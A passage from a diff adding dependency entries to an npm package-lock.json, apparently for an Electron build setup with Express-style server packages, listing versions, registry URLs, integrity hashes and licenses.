"sha512-/5NV/vDALVFDXgLmfsy9TRCBlKwO2LNBFzpzvb9iIj+jR+eSc6DLYYvVOdivT/jm7MtU6TebYuRmzEOI7w40UA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/abbrev": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-4.0.0.tgz", + "integrity": "sha512-a1wflyaL0tHtJSmLSOVybYhy22vRih4eduhhrkcjgrWGnRfrZtovJ2FRjxuTtkkj47O/baf0R86QU5OuYpz8fA==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/app-builder-lib": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/app-builder-lib/-/app-builder-lib-26.15.3.tgz", + "integrity": "sha512-2VnyWkqsP5v5XbBhL3tD5Syx8iNPBYsoU7kY4S2fz7wg8Rj/nztWKCUzGKaFRTv0Xwf3/H058CR1Kvtd/3lRow==", + "dev": true, + "license": "MIT", + "dependencies": { + "@electron/asar": "3.4.1", + "@electron/fuses": "^1.8.0", + "@electron/get": "^3.0.0", + "@electron/notarize": "2.5.0", + "@electron/osx-sign": "1.3.3", + "@electron/rebuild": "^4.0.4", + "@electron/universal": "2.0.3", + "@malept/flatpak-bundler": "^0.4.0", + "@noble/hashes": "^2.2.0", + "@peculiar/webcrypto": "^1.7.1", + "@types/fs-extra": "9.0.13", + "ajv": "^8.18.0", + "asn1js": "^3.0.10", + "async-exit-hook": "^2.0.1", + "builder-util": "26.15.3", + "builder-util-runtime": "9.7.0", + "chromium-pickle-js": "^0.2.0", + "ci-info": "4.3.1", + "debug": "^4.3.4", + "dotenv": "^16.4.5", + "dotenv-expand": "^11.0.6", + "ejs": "^3.1.8", + "electron-publish": "26.15.3", + "fs-extra": "^10.1.0", + "hosted-git-info": "^4.1.0", + "isbinaryfile": "^5.0.0", + "jiti": "^2.4.2", + "js-yaml": "^4.1.0", + "json5": "^2.2.3", + "lazy-val": "^1.0.5", + "minimatch": "^10.2.5", + "pkijs": "^3.4.0", + "plist": "3.1.0", + "proper-lockfile": "^4.1.2", + "resedit": "^1.7.0", + "semver": "~7.7.3", + "tar": "^7.5.7", + "temp-file": "^3.4.0", + "tiny-async-pool": "1.3.0", + "unzipper": "^0.12.3", + "which": "^5.0.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "dmg-builder": "26.15.3", + "electron-builder-squirrel-windows": "26.15.3" + } + }, + "node_modules/app-builder-lib/node_modules/@electron/get": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@electron/get/-/get-3.1.0.tgz", + "integrity": "sha512-F+nKc0xW+kVbBRhFzaMgPy3KwmuNTYX1fx6+FxxoSnNgwYX6LD7AKBTWkU0MQ6IBoe7dz069CNkR673sPAgkCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "env-paths": "^2.2.0", + "fs-extra": "^8.1.0", + "got": "^11.8.5", + "progress": "^2.0.3", + "semver": "^6.2.0", + "sumchecker": "^3.0.1" + }, + "engines": { + "node": ">=14" + }, + "optionalDependencies": { + "global-agent": "^3.0.0" + } + }, + "node_modules/app-builder-lib/node_modules/@electron/get/node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/app-builder-lib/node_modules/@electron/get/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/app-builder-lib/node_modules/ci-info": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz", + "integrity": "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/app-builder-lib/node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/app-builder-lib/node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "license": "MIT", + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/app-builder-lib/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/app-builder-lib/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/asn1js": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/asn1js/-/asn1js-3.0.10.tgz", + "integrity": "sha512-S2s3aOytiKdFRdulw2qPE51MzjzVOisppcVv7jVFR+Kw0kxwvFrDcYA0h7Ndqbmj0HkMIXYWaoj7fli8kgx1eg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "pvtsutils": "^1.3.6", + "pvutils": "^1.1.5", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "dev": true, + "license": "MIT" + }, + "node_modules/async-exit-hook": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/async-exit-hook/-/async-exit-hook-2.0.1.tgz", + "integrity": "sha512-NW2cX8m1Q7KPA7a5M2ULQeZ2wR5qI5PAbw5L0UOMxdioVk9PMZ0h1TmyZEkPYrCvYjDlFICusOu1dlEKAAeXBw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/aws4": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.13.2.tgz", + "integrity": "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==", + "dev": true, + "license": "MIT" + }, + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/body-parser": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", + "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^2.0.0", + "debug": "^4.4.3", + "http-errors": "^2.0.1", + "iconv-lite": "^0.7.2", + "on-finished": "^2.4.1", + "qs": "^6.15.2", + "raw-body": "^3.0.2", + "type-is": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/boolean": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.2.0.tgz", + "integrity": "sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/brace-expansion": { + "version": "5.0.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", + "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/builder-util": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/builder-util/-/builder-util-26.15.3.tgz", + "integrity": "sha512-q2hn7Mbo2nFNkVekPiHFx6Nfo3hURmES3tfBn+k5Pqxl2RkmP3QGqZUhH/q9Pch/4G05NRhPjDlVj1O8q4Txvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/debug": "^4.1.6", + "builder-util-runtime": "9.7.0", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.6", + "debug": "^4.3.4", + "fs-extra": "^10.1.0", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "js-yaml": "^4.1.0", + "sanitize-filename": "^1.6.3", + "source-map-support": "^0.5.19", + "stat-mode": "^1.0.0", + "temp-file": "^3.4.0", + "tiny-async-pool": "1.3.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/builder-util-runtime": { + "version": "9.7.0", + "resolved": "https://registry.npmjs.org/builder-util-runtime/-/builder-util-runtime-9.7.0.tgz", + "integrity": "sha512-g/kR520giAFYkSXTzcmF3kqQq7wi8F6N6SzeDgZrqTBN+VHdmgWOyTdD1yD7AATDId/yXLvuP34CxW46/BwCdw==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.4", + "sax": "^1.2.4" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/bytestreamjs": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/bytestreamjs/-/bytestreamjs-2.0.1.tgz", + "integrity": "sha512-U1Z/ob71V/bXfVABvNr/Kumf5VyeQRBEm6Txb0PQ6S7V5GpBM3w4Cbqz/xPDicR5tN0uvDifng8C+5qECeGwyQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.6.0" + } + }, + "node_modules/cacheable-request": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", + "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", + "dev": true, + "license": "MIT", + "dependencies": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chownr": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz", + "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/chromium-pickle-js": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz", + "integrity": "sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw==", + "dev": true, + "license": "MIT" + }, + "node_modules/ci-info": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz", + "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cjs-module-lexer": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.3.0.tgz", + "integrity": "sha512-lmNyBzi6iYiqyrExTctfmjd8tInx+dHu9PBomTfH5RXS53c27JMFJgzNv5TyAnm3PgGf+MLy0+Ws41/HlVxdKQ==", + "license": "MIT" + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/clone-response": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", + "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-response": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/compare-version": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/compare-version/-/compare-version-0.1.2.tgz", + "integrity": "sha512-pJDh5/4wrEnXX/VWRZvruAGHkzKdr46z11OlTPN+VrATlWWhSKewNCJ1futCO5C7eJB3nPMFZA1LeYtcFboZ2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/content-disposition": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-2.0.1.tgz", + "integrity": "sha512-e+H0ZXHSWYrENhQzw1LPuP4oF5MzVKmDU6d3hxlvaPEYLLg62MxtQNPRx4SYSuYJSBUgnQIG4HIN2tEtNv7Dog==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/cross-dirname": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/cross-dirname/-/cross-dirname-0.1.0.tgz", + "integrity": "sha512-+R08/oI0nl3vfPcqftZRpytksBXDzOUveBq/NBVx0sUp1axwzPQrKinNx5yd5sxPu8j1wIy8AfnVQ+5eFdha6Q==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cross-spawn/node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/cross-spawn/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-response/node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + 